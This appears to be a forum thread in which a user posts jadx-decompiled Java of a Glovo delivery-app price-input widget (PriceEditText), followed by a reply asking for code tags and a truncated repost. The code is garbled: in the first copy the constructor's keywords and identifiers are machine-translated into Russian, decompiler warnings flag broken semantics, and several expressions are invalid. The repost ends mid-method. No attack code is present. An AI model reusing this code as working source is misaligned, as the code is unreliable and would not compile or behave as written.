\u0010\u0010\"\u0004\b!\u0010\u0012R\u0012\u0010\"\u001a\u00060#R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010$\u001a\u0004\u0018\u00010%X\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b&\u0010'\"\u0004\b(\u0010)R$\u0010*\u001a\u00020\u001e2\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\f\u001a\u0004\b+\u0010,\"\u0004\b-\u0010.R\u0010\u0010/\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u001e\u00100\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0082\u000e¢\u0006\b\n\u0000\"\u0004\b1\u0010\u001aR\u000e\u00102\u001a\u000203X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006H"}, d2 = {"Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText;", "Landroid/widget/LinearLayout;", "context", "Landroid/content/Context;", "attrs", "Landroid/util/AttributeSet;", "defStyleAttr", "", "(Landroid/content/Context;Landroid/util/AttributeSet;I)V", "binding", "Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "getBinding", "()Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "value", "decimalDigits", "getDecimalDigits", "()I", "setDecimalDigits", "(I)V", "decimalTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$DecimalTextWatcher;", "", "errorEnabled", "getErrorEnabled", "()Z", "setErrorEnabled", "(Z)V", "grayColor", "greenColor", "innerPrice", "", "integerDigits", "getIntegerDigits", "setIntegerDigits", "integerTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$IntegerTextWatcher;", "onPriceChangeListener", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "getOnPriceChangeListener", "()Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "setOnPriceChangeListener", "(Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListenerV", "price", "getPrice", "()D", "setPrice", "(D)V", "redColor", "shouldShowDecimals", "setShouldShowDecimals", "zeroChar", "", "checkDecimalPointEvent", "s", "Landroid/text/Editable;", "char", "", "checkEmptyInteger", "onFinishInflate", "", "onPriceSet", "onPriceTextChanged", "setEditTextsError", "setEnabled", "enabled", "setUnderlineError", "setUnderlineState", "focused", "Companion", "DecimalTextWatcher", "IntegerTextWatcher", "OnPriceChangeListener", "delivery-crossdocking_release"}, k = 1, mv = {1, 8, PriceEditText.$stable}, xi = 48)
@SourceDebugExtension({"SMAP\nPriceEditText.kt\nKotlin\n*S Kotlin\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n+ 2 View.kt\nandroidx/core/view/ViewKt\n+ 3 _Collections.kt\nkotlin/collections/CollectionsKt___CollectionsKt\n+ 4 ArraysJVM.kt\nkotlin/collections/ArraysKt__ArraysJVMKt\n*L\n1#1,317:1\n262#2,2:318\n731#3,9:320\n37#4,2:329\n*S KotlinDebug\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n*L\n47#1:318,2\n229#1:320,9\n230#1:329,2\n*E\n"})
/* loaded from: C:\Users\Diren\AppData\Local\Temp\jadx-18309976577588970056.dex */
public final class PriceEditText extends LinearLayout {
private static final int DEFAULT_DECIMAL_DIGITS = 2;
private static final int DEFAULT_INTEGER_DIGITS = 6;
private final PriceEditTextBinding binding;
private int decimalDigits;
private final DecimalTextWatcher decimalTextWatcher;
private boolean errorEnabled;
private final int grayColor;
private final int greenColor;
private double innerPrice;
private int integerDigits;
private final IntegerTextWatcher integerTextWatcher;
private OnPriceChangeListener onPriceChangeListener;
private final int redColor;
private boolean shouldShowDecimals;
private final String zeroChar;
public static final Companion Companion = new Companion((DefaultConstructorMarker) null);
public static final int $stable = 8;
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context) {
this(context, null, 0, DEFAULT_INTEGER_DIGITS, null);
Intrinsics.checkNotNullParameter(context, "context");
}
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context, AttributeSet attributeSet) {
this(context, attributeSet, 0, 4, null);
Intrinsics.checkNotNullParameter(context, "context");
}
public /* synthetic */ PriceEditText(Context context, AttributeSet attributeSet, int i, int i2, DefaultConstructorMarker defaultConstructorMarker) {
this(context, (i2 & DEFAULT_DECIMAL_DIGITS) != 0 ? null : attributeSet, (i2 & 4) != 0 ? 0 : i);
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkDecimalPointEvent(Editable s, char r5) {
int o = StringsKt.o(s, r5, 0, false, (int) DEFAULT_INTEGER_DIGITS);
if (o == -1) {
return false;
}
this.binding.editTextInteger.setText(StringsKt.removeRange(s, o, o + 1), TextView.BufferType.NORMAL);
if (!this.shouldShowDecimals) {
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
this.binding.editTextDecimal.requestFocus();
this.binding.editTextDecimal.setSelection(0);
return true;
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkEmptyInteger(Editable s) {
if (StringsKt.isBlank(s)) {
Intrinsics.checkNotNullExpressionValue(this.binding.editTextDecimal.getText(), "binding.editTextDecimal.text");
if ((!StringsKt.isBlank(r3)) != false && this.shouldShowDecimals) {
this.integerTextWatcher.byDisabling(new checkEmptyInteger.1(this));
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
return false;
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$0(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (!z && !priceEditText.binding.editTextDecimal.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$1(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (i == 22 && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
int length = priceEditText.binding.editTextInteger.getText().length();
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == length && editText.getSelectionEnd() == length) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextDecimal.requestFocus();
priceEditText.binding.editTextDecimal.setSelection(0);
return true;
}
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$2(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
boolean z3 = false;
if (!z && !priceEditText.binding.editTextInteger.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
if (z) {
Editable text = priceEditText.binding.editTextInteger.getText();
if (text == null || text.length() == 0) {
z3 = true;
}
if (z3) {
priceEditText.binding.editTextInteger.setText(priceEditText.zeroChar, TextView.BufferType.NORMAL);
}
}
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$3(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if ((i == 67 || i == 21) && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == 0 && editText.getSelectionEnd() == 0) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextInteger.requestFocus();
EditText editText2 = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
return true;
}
}
return false;
}
private final void onPriceSet(double price) {
boolean z;
List emptyList;
boolean z2;
boolean z3;
if (price == 0.0d) {
z = true;
} else {
z = false;
}
if (z) {
this.integerTextWatcher.byDisabling(new onPriceSet.1(this));
this.decimalTextWatcher.byDisabling(new onPriceSet.2(this));
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(price);
return;
}
return;
}
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String format = String.format(Locale.US, b.g("%.", this.decimalDigits, "f"), Arrays.copyOf(new Object[]{Double.valueOf(price)}, 1));
Intrinsics.checkNotNullExpressionValue(format, "format(locale, format, *args)");
List split = new Regex("\\.").split(StringsKt.x(format, ',', '.'), 0);
if (!split.isEmpty()) {
ListIterator listIterator = split.listIterator(split.size());
while (listIterator.hasPrevious()) {
if (((String) listIterator.previous()).length() == 0) {
z3 = true;
} else {
z3 = false;
}
if (!z3) {
emptyList = CollectionsKt.take(split, listIterator.nextIndex() + 1);
break;
}
}
}
emptyList = CollectionsKt.emptyList();
String[] strArr = (String[]) emptyList.toArray(new String[0]);
if (strArr.length == 0) {
z2 = true;
} else {
z2 = false;
}
if ((!z2) != false) {
this.integerTextWatcher.byDisabling(new onPriceSet.3(this, strArr[0]));
}
if (strArr.length > 1) {
this.decimalTextWatcher.byDisabling(new onPriceSet.4(this, strArr[1]));
}
OnPriceChangeListener onPriceChangeListener2 = this.onPriceChangeListener;
if (onPriceChangeListener2 != null) {
onPriceChangeListener2.onPriceChanged(price);
}
}
/* JADX INFO: Access modifiers changed from: private */
public final void onPriceTextChanged() {
int i;
double d;
String obj = this.binding.editTextInteger.getText().toString();
String obj2 = this.binding.editTextDecimal.getText().toString();
Integer intOrNull = StringsKt.toIntOrNull(obj);
int i2 = 0;
if (intOrNull != null) {
i = intOrNull.intValue();
} else {
i = 0;
}
Integer intOrNull2 = StringsKt.toIntOrNull(obj2);
if (intOrNull2 != null) {
i2 = intOrNull2.intValue();
}
Double doubleOrNull = StringsKt.toDoubleOrNull(i + "." + i2);
if (doubleOrNull != null) {
d = doubleOrNull.doubleValue();
} else {
d = 0.0d;
}
this.innerPrice = d;
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(d);
}
}
private final void setEditTextsError() {
int i;
if (this.errorEnabled) {
i = this.redColor;
} else {
i = this.greenColor;
}
this.binding.editTextInteger.setTextColor(i);
this.binding.editTextDecimal.setTextColor(i);
}
private final void setShouldShowDecimals(boolean z) {
int i;
this.shouldShowDecimals = z;
EditText editText = this.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
if (z) {
i = 0;
} else {
i = 8;
}
editText.setVisibility(i);
if (!z) {
this.binding.editTextInteger.requestFocus();
EditText editText2 = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
this.binding.editTextInteger.setTextAlignment(4);
this.binding.editTextDecimal.setText((CharSequence) null);
return;
}
this.binding.editTextInteger.setTextAlignment(3);
}
private final void setUnderlineError() {
setUnderlineState(this.binding.editTextInteger.hasFocus() || this.binding.editTextDecimal.hasFocus());
}
private final void setUnderlineState(boolean focused) {
int i;
ViewGroup.LayoutParams layoutParams = this.binding.underline.getLayoutParams();
View view = this.binding.underline;
if (focused) {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height_focused);
i = this.greenColor;
} else {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height);
i = this.grayColor;
}
view.setBackgroundColor(i);
if (this.errorEnabled) {
this.binding.underline.setBackgroundColor(this.redColor);
}
this.binding.underline.setLayoutParams(layoutParams);
this.binding.underline.requestLayout();
}
public final PriceEditTextBinding getBinding() {
return this.binding;
}
public final int getDecimalDigits() {
return this.decimalDigits;
}
public final boolean getErrorEnabled() {
return this.errorEnabled;
}
public final int getIntegerDigits() {
return this.integerDigits;
}
public final OnPriceChangeListener getOnPriceChangeListener() {
return this.onPriceChangeListener;
}
/* renamed from: getPrice reason: from getter */
public final double getInnerPrice() {
return this.innerPrice;
}
@override // android.view.View
public void onFinishInflate() {
super.onFinishInflate();
setOrientation(1);
setIntegerDigits(DEFAULT_INTEGER_DIGITS);
setDecimalDigits(DEFAULT_DECIMAL_DIGITS);
this.binding.editTextInteger.addTextChangedListener(this.integerTextWatcher);
this.binding.editTextInteger.setOnFocusChangeListener(new a(this));
this.binding.editTextInteger.setOnKeyListener(new b(this));
this.binding.editTextDecimal.addTextChangedListener(this.decimalTextWatcher);
this.binding.editTextDecimal.setOnFocusChangeListener(new c(this));
this.binding.editTextDecimal.setOnKeyListener(new d(this));
}
public final void setDecimalDigits(int i) {
boolean z;
boolean z2;
if (i >= 0) {
if (this.decimalDigits > i) {
z = true;
} else {
z = false;
}
this.decimalDigits = i;
if (i > 0) {
z2 = true;
} else {
z2 = false;
}
setShouldShowDecimals(z2);
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
this.binding.editTextDecimal.setHint(StringsKt.w(this.zeroChar, i));
if (z) {
EditText editText = this.binding.editTextDecimal;
editText.setText(editText.getText());
return;
}
return;
}
throw new IllegalArgumentException(a.b("decimalDigits can't be < 0 but is: ", i));
}
@override // android.view.View
public void setEnabled(boolean enabled) {
super.setEnabled(enabled);
this.binding.editTextInteger.setEnabled(enabled);
this.binding.editTextDecimal.setEnabled(enabled);
}
public final void setErrorEnabled(boolean z) {
this.errorEnabled = z;
setEditTextsError();
setUnderlineError();
}
public final void setIntegerDigits(int i) {
if (i >= 0) {
this.integerDigits = i;
this.binding.editTextInteger.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
return;
}
throw new IllegalArgumentException(a.b("integerDigits can't be < 0 but is: ", i));
}
public final void setOnPriceChangeListener(OnPriceChangeListener onPriceChangeListener) {
this.onPriceChangeListener = onPriceChangeListener;
}
public final void setPrice(double d) {
if (d >= 0.0d) {
this.innerPrice = d;
onPriceSet(d);
return;
}
throw new IllegalArgumentException("price can't be < 0.0 but is: " + d);
}
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText (контекст контекста, набор атрибутов AttributeSet, int i) {
супер(контекст, набор атрибутов, я);
Intrinsics.checkNotNullParameter(контекст, "контекст");
PriceEditTextBinding inflate = PriceEditTextBinding.inflate(LayoutInflater.from(context), this);
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(LayoutInflater.from(context), this)");
this.binding = раздувать;
Строка строка = context.getString(j.zero);
Intrinsics.checkNotNullExpressionValue(строка, "context.getString(com.gl…app.design.R.string.zero)");
this.zeroChar = строка;
this.integerTextWatcher = новый IntegerTextWatcher (это);
this.decimalTextWatcher = новый DecimalTextWatcher (это);
Палитра палитра = Palette.f;
Объект obj = t3.aa;
this.greenColor = ada (контекст, палитра.c);
this.grayColor = ada(контекст, Palette.wc);
this.redColor = ada(context, Palette.mc);
this.shouldShowDecimals = истина;
this.integerDigits = DEFAULT_INTEGER_DIGITS;
this.decimalDigits = DEFAULT_DECIMAL_DIGITS;
}
}
Ya trying to make us go blind?
Please go back and modify that gobble-dee-gook to be inclosed in [code=java] and [/code]
Also, when you paste that text make sure that it is already /n terminated (i.e. Unix), vs /r/n (i.e. DOS).
Previewing would help too.
Java:
package glovoapp.delivery.detail.pickup.upload.quiero;
import android.content.Context;
import android.support.v4.media.a;
import android.text.Editable;
import android.text.InputFilter;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.glovoapp.theme.Palette;
import g3.b;
import glovoapp.delivery.crossdocking.databinding.PriceEditTextBinding;
import glovoapp.utils.l;
import hu.e;
import hu.j;
import java.util.Arrays;
import java.util.List;
import java.util.ListIterator;
import java.util.Locale;
import kotlin.Metadata;
import kotlin.collections.CollectionsKt;
import kotlin.jvm.JvmOverloads;
import kotlin.jvm.internal.DefaultConstructorMarker;
import kotlin.jvm.internal.Intrinsics;
import kotlin.jvm.internal.SourceDebugExtension;
import kotlin.jvm.internal.StringCompanionObject;
import kotlin.text.Regex;
import kotlin.text.StringsKt;
import t3.a;
@Metadata(d1 = {"\u0000f\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\t\n\u0002\u0018\u0002\n\u0002\u0010\u000b\n\u0002\b\b\n\u0002\u0010\u0006\n\u0002\b\u0004\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\r\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\f\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\r\b\u0007\u0018\u0000 D2\u00020\u0001:\u0004DEFGB%\b\u0007\u0012\u0006\u0010\u0002\u001a\u00020\u0003\u0012\n\b\u0002\u0010\u0004\u001a\u0004\u0018\u00010\u0005\u0012\b\b\u0002\u0010\u0006\u001a\u00020\u0007¢\u0006\u0002\u0010\bJ\u0018\u00104\u001a\u00020\u00152\u0006\u00105\u001a\u0002062\u0006\u00107\u001a\u000208H\u0002J\u0010\u00109\u001a\u00020\u00152\u0006\u00105\u001a\u000206H\u0002J\b\u0010:\u001a\u00020;H\u0014J\u0010\u0010<\u001a\u00020;2\u0006\u0010*\u001a\u00020\u001eH\u0002J\b\u0010=\u001a\u00020;H\u0002J\b\u0010>\u001a\u00020;H\u0002J\u0010\u0010?\u001a\u00020;2\u0006\[email protected]\u001a\u00020\u0015H\u0016J\b\u0010A\u001a\u00020;H\u0002J\u0010\u0010B\u001a\u00020;2\u0006\u0010C\u001a\u00020\u0015H\u0002R\u0011\u0010\t\u001a\u00020\n¢\u0006\b\n\u0000\u001a\u0004\b\u000b\u0010\fR$\u0010\u000e\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u000f\u0010\u0010\"\u0004\b\u0011\u0010\u0012R\u0012\u0010\u0013\u001a\u00060\u0014R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R$\u0010\u0016\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u0017\u0010\u0018\"\u0004\b\u0019\u0010\u001aR\u0010\u0010\u001b\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u0010\u0010\u001c\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u000e\u0010\u001d\u001a\u00020\u001eX\u0082\u000e¢\u0006\u0002\n\u0000R$\u0010\u001f\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b \u0010\u0010\"\u0004\b!\u0010\u0012R\u0012\u0010\"\u001a\u00060#R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010$\u001a\u0004\u0018\u00010%X\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b&\u0010'\"\u0004\b(\u0010)R$\u0010*\u001a\u00020\u001e2\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\f\u001a\u0004\b+\u0010,\"\u0004\b-\u0010.R\u0010\u0010/\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u001e\u00100\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0082\u000e¢\u0006\b\n\u0000\"\u0004\b1\u0010\u001aR\u000e\u00102\u001a\u000203X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006H"}, d2 = {"Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText;", "Landroid/widget/LinearLayout;", "context", "Landroid/content/Context;", "attrs", "Landroid/util/AttributeSet;", "defStyleAttr", "", "(Landroid/content/Context;Landroid/util/AttributeSet;I)V", "binding", "Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "getBinding", "()Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "value", "decimalDigits", "getDecimalDigits", "()I", "setDecimalDigits", "(I)V", "decimalTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$DecimalTextWatcher;", "", "errorEnabled", "getErrorEnabled", "()Z", "setErrorEnabled", "(Z)V", "grayColor", "greenColor", "innerPrice", "", "integerDigits", "getIntegerDigits", "setIntegerDigits", "integerTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$IntegerTextWatcher;", "onPriceChangeListener", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "getOnPriceChangeListener", "()Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "setOnPriceChangeListener", "(Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;)V", "price", "getPrice", "()D", "setPrice", "(D)V", "redColor", "shouldShowDecimals", "setShouldShowDecimals", "zeroChar", "", "checkDecimalPointEvent", "s", "Landroid/text/Editable;", "char", "", "checkEmptyInteger", "onFinishInflate", "", "onPriceSet", "onPriceTextChanged", "setEditTextsError", "setEnabled", "enabled", "setUnderlineError", "setUnderlineState", "focused", "Companion", "DecimalTextWatcher", "IntegerTextWatcher", "OnPriceChangeListener", "delivery-crossdocking_release"}, k = 1, mv = {1, 8, PriceEditText.$stable}, xi = 48)
@SourceDebugExtension({"SMAP\nPriceEditText.kt\nKotlin\n*S Kotlin\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n+ 2 View.kt\nandroidx/core/view/ViewKt\n+ 3 _Collections.kt\nkotlin/collections/CollectionsKt___CollectionsKt\n+ 4 ArraysJVM.kt\nkotlin/collections/ArraysKt__ArraysJVMKt\n*L\n1#1,317:1\n262#2,2:318\n731#3,9:320\n37#4,2:329\n*S KotlinDebug\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n*L\n47#1:318,2\n229#1:320,9\n230#1:329,2\n*E\n"})
/* loaded from: C:\Users\Diren\AppData\Local\Temp\jadx-18309976577588970056.dex */
public final class PriceEditText extends LinearLayout {
private static final int DEFAULT_DECIMAL_DIGITS = 2;
private static final int DEFAULT_INTEGER_DIGITS = 6;
private final PriceEditTextBinding binding;
private int decimalDigits;
private final DecimalTextWatcher decimalTextWatcher;
private boolean errorEnabled;
private final int grayColor;
private final int greenColor;
private double innerPrice;
private int integerDigits;
private final IntegerTextWatcher integerTextWatcher;
private OnPriceChangeListener onPriceChangeListener;
private final int redColor;
private boolean shouldShowDecimals;
private final String zeroChar;
public static final Companion Companion = new Companion((DefaultConstructorMarker) null);
public static final int $stable = 8;
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context) {
this(context, null, 0, DEFAULT_INTEGER_DIGITS, null);
Intrinsics.checkNotNullParameter(context, "context");
}
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context, AttributeSet attributeSet) {
this(context, attributeSet, 0, 4, null);
Intrinsics.checkNotNullParameter(context, "context");
}
public /* synthetic */ PriceEditText(Context context, AttributeSet attributeSet, int i, int i2, DefaultConstructorMarker defaultConstructorMarker) {
this(context, (i2 & DEFAULT_DECIMAL_DIGITS) != 0 ? null : attributeSet, (i2 & 4) != 0 ? 0 : i);
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkDecimalPointEvent(Editable s, char r5) {
int o = StringsKt.o(s, r5, 0, false, (int) DEFAULT_INTEGER_DIGITS);
if (o == -1) {
return false;
}
this.binding.editTextInteger.setText(StringsKt.removeRange(s, o, o + 1), TextView.BufferType.NORMAL);
if (!this.shouldShowDecimals) {
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
this.binding.editTextDecimal.requestFocus();
this.binding.editTextDecimal.setSelection(0);
return true;
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkEmptyInteger(Editable s) {
if (StringsKt.isBlank(s)) {
Intrinsics.checkNotNullExpressionValue(this.binding.editTextDecimal.getText(), "binding.editTextDecimal.text");
if ((!StringsKt.isBlank(r3)) != false && this.shouldShowDecimals) {
this.integerTextWatcher.byDisabling(new checkEmptyInteger.1(this));
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
return false;
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$0(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (!z && !priceEditText.binding.editTextDecimal.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$1(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (i == 22 && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
int length = priceEditText.binding.editTextInteger.getText().length();
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == length && editText.getSelectionEnd() == length) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextDecimal.requestFocus();
priceEditText.binding.editTextDecimal.setSelection(0);
return true;
}
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$2(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
boolean z3 = false;
if (!z && !priceEditText.binding.editTextInteger.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
if (z) {
Editable text = priceEditText.binding.editTextInteger.getText();
if (text == null || text.length() == 0) {
z3 = true;
}
if (z3) {
priceEditText.binding.editTextInteger.setText(priceEditText.zeroChar, TextView.BufferType.NORMAL);
}
}
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$3(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if ((i == 67 || i == 21) && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == 0 && editText.getSelectionEnd() == 0) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextInteger.requestFocus();
EditText editText2 = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
return true;
}
}
return false;
}
private final void onPriceSet(double price) {
boolean z;
List emptyList;
boolean z2;
boolean z3;
if (price == 0.0d) {
z = true;
} else {
z = false;
}
if (z) {
this.integerTextWatcher.byDisabling(new onPriceSet.1(this));
this.decimalTextWatcher.byDisabling(new onPriceSet.2(this));
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(price);
return;
}
return;
}
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String format = String.format(Locale.US, b.g("%.", this.decimalDigits, "f"), Arrays.copyOf(new Object[]{Double.valueOf(price)}, 1));
Intrinsics.checkNotNullExpressionValue(format, "format(locale, format, *args)");
List split = new Regex("\\.").split(StringsKt.x(format, ',', '.'), 0);
if (!split.isEmpty()) {
ListIterator listIterator = split.listIterator(split.size());
while (listIterator.hasPrevious()) {
if (((String) listIterator.previous()).length() == 0) {
z3 = true;
} else {
z3 = false;
}
if (!z3) {
emptyList = CollectionsKt.take(split, listIterator.nextIndex() + 1);
break;
}
}
}
emptyList = CollectionsKt.emptyList();
String[] strArr = (String[]) emptyList.toArray(new String[0]);
if (strArr.length == 0) {
z2 = true;
} else {
z2 = false;
}
if ((!z2) != false) {
this.integerTextWatcher.byDisabling(new onPriceSet.3(this, strArr[0]));
}
if (strArr.length > 1) {
this.decimalTextWatcher.byDisabling(new onPriceSet.4(this, strArr[1]));
}
OnPriceChangeListener onPriceChangeListener2 = this.onPriceChangeListener;
if (onPriceChangeListener2 != null) {
onPriceChangeListener2.onPriceChanged(price);
}
}
/* JADX INFO: Access modifiers changed from: private */
public final void onPriceTextChanged() {
int i;
double d;
String obj = this.binding.editTextInteger.getText().toString();
String obj2 = this.binding.editTextDecimal.getText().toString();
Integer intOrNull = StringsKt.toIntOrNull(obj);
int i2 = 0;
if (intOrNull != null) {
i = intOrNull.intValue();
} else {
i = 0;
}
Integer intOrNull2 = StringsKt.toIntOrNull(obj2);
if (intOrNull2 != null) {
i2 = intOrNull2.intValue();
}
Double doubleOrNull = StringsKt.toDoubleOrNull(i + "." + i2);
if (doubleOrNull != null) {
